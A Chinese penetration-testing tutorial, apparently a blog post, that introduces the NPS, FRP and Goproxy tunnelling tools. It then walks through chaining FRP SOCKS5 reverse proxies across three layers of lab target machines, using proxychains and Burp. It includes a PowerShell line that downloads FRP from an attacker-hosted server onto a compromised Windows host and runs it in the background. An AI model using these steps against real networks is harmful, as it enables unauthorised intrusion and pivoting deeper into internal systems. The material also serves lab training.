小白渗透工作理解第七篇——多层代理-隧道构建

声明:本文内容来源于网络,如有侵权请联系作者进行删除!!!

代理软件介绍

NPS

简介:

        一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等,并带有功能强大的web管理端。

 URL:https://github.com/ehang-io/nps

Document

FRP

简介:

        frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。

URL:https://github.com/fatedier/frp

Goproxy

简介:

Goproxy是golang实现的高性能http,https,websocket,tcp,socks5代理服务器。

  1. 链式代理,程序本身可以作为一级代理,如果设置了上级代理那么可以作为二级代理,乃至N级代理;
  2. 多协议支持,支持HTTP(S),TCP,UDP,Websocket,SOCKS5代理;
  3. [协议支持,HTTP(S),SOCKS5代理支持KCP协议传输数据,降低延迟,提升浏览体验。

URL:
https://github.com/snail007/goproxy

https://snail007.host900.com/goproxy/manual/zh/#/

FRP演示

Frp下载

URL:

https://github.com/fatedier/frp

​​

Frp管理页面:

​​

Frp多层代理案例演示

要点:

反向代理、需要先启用服务器端口。

拓扑图:

​​

第一层代理

Frps-kali

​​

frps.ini

[common]

bind_addr = 192.168.1.11

bind_port = 7000

启动客户端

 ./frps -c ./frps.ini

FRPC-第一层靶机

​​

Frpc.ini

[common]

server_addr = 192.168.1.11

server_port = 7000

[plugin_socks5]

type = tcp

remote_port = 7777

plugin = socks5

启动服务端

start /b frpc.exe

案例:

Powershell -c wget http://192.168.45.160:8000/frp_0.47.0_windows_amd64.zip -o c:\users\public\frp_0.47.0_windows_amd64.zip 

cd c:\Users\Public\

tar.exe -xf c:\Users\Public\frp_0.47.0_windows_amd64.zip

cd c:\Users\Public\frp_0.47.0_windows_amd64

start /b frpc.exe
​

​​

配置proxychain4

sudo vim /etc/proxychains4.conf

socks5 192.168.1.11 7777

使用proxychains启动burp可以直接抓包

sudo proxychains burpsuite

proxychains java -jar burpsuite.jar

第二层代理

​​拓扑:

反向代理:

二层靶机反向连接第一层靶机,也就是说一层靶机做服务端,二层靶机做客户端。

10.10.10.7为一层靶机的内网地址。

Frps-第一层的靶机。

​​

frps.ini

[common]

bind_addr = 10.10.10.7

bind_port = 7000

启动客户端。

start /b frps.exe

FRPC-第一层靶机。

​​

Frpc.ini-只改IP-改成二层中。

[common]

server_addr = 10.10.10.7

server_port = 7000
[plugin_socks5]

type = tcp

remote_port = 7777

plugin = socks5

启动

start /b frpc.exe

配置proxychain4

sudo vim /etc/proxychains4.conf

socks5 192.168.1.11 7777

socks5 10.10.10.7 7777

​​

​​

第三层代理

拓扑:

​​

第二层的靶机做服务端,第三层的客户端。

10.10.20.13为二层靶机的内网地址

Frps-第一层的靶机

​​

frps.ini

[common]

bind_addr = 10.10.20.13

bind_port = 7000

启动客户端

start /b frps.exe

FRPC-第一层靶机

​​

Frpc.ini-只改IP-改成二层中

[common]

server_addr = 10.10.20.13

server_port = 7000
[plugin_socks5]

type = tcp

remote_port = 7777

plugin = socks5

启动

start /b frpc.exe

配置proxychain4

sudo vim /etc/proxychains4.conf

socks5 192.168.1.11 7777

socks5 10.10.10.7 7777

socks5 10.10.20.13 7777

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值